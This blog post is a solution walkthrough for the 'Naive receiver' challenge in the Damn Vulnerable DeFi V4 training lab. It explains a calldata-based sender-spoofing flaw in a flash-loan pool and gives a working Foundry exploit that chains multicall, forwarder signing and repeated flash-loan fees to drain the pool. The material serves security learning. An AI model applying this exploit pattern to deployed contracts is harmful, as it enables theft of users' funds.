Challenge 2: Naive receiver, Damn vulnerable defi V4 lazy solutions series
Table of contents
Why Lazy?
I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.
Problem statement:
Our aim to make Flashloan providing smart contract(NaiveReceiverPool)'s balance 0 by extracting all Eth available and transfer it to recovery address.
Multi call and Forwarder is going to be used to accomplish this so, make sure to have at least some understandings is plus.
This problem isn't tricky to solve as vulnerable code seems put in code intentionally. you will find where to get into exploit it very easily but the method to accomplish is somehow tricky as it contains to use of forwarding, multi call and signing.
vulnerability
NaiveReceiverPool smart contract is providing flash loans, depositing and withdrawing functionality where deposit and withdraw is using custom _msgSender()
function which has some vulnerable code clearly on certain condition which is,
When trustedForwarder was the caller(msg.sender) and msg.data>20 then it will splits msg.data to obtain extra bytes and then parsing it to address which is going to be used as new _msgSender() response.
src/naive-receiver/NaiveReceiverPool.sol
function withdraw(uint256 amount, address payable receiver) external {
// Reduce deposits
deposits[_msgSender()] -= amount;
totalDeposits -= amount;
// Transfer ETH to designated receiver
weth.transfer(receiver, amount);
}
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}
The Attack Strategy
If we managed to call NaiveReceiverPool's withdraw
function forwarded with trustedForwarder
with some extra msg.data which will parse as address which has deposited balance then we are good to go.
We have to find someone with deposits. how do we do it?
For this, there's another catch here,
In Flash loans function if you see, fees aren't transferred to feeReceiver
at that instance but it is storing as deposits balance of feeReceiver
. Also Flashloan charges fixed 1 Eth as fees on any amount of flash loan.
WE GOT IT!
NaiveReceivePool's balance is 10 eth. let's flashloan any feasible amount of weth that we are capable to return(1 eth for flashloan receiver) for 10 times. which increases deposits[feeReceiver]
to 10 eth. then attack(withdraw) with the approach we discussed earlier.
Solution
Here's the code,
test/naive-receiver/NaiveReceiver.t.sol
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory callDatas = new bytes[](11);
for(uint i=0; i<10; i++){
callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
}
callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
bytes32(uint256(uint160(deployer)))
);
bytes memory callData;
callData = abi.encodeCall(pool.multicall, callDatas);
BasicForwarder.Request memory request = BasicForwarder.Request(
player,
address(pool),
0,
30000000,
forwarder.nonces(player),
callData,
1 days
);
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
require(forwarder.execute(request, signature));
}
To illustrate the code flow, refer this,
Let's see it in action,
forge test --mp test/naive-receiver/NaiveReceiver.t.sol -vv
Succeed!🔥💸
Incase if you need all solutions,
https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions
Subscribe to my newsletter
Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Siddharth Patel
Siddharth Patel
I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.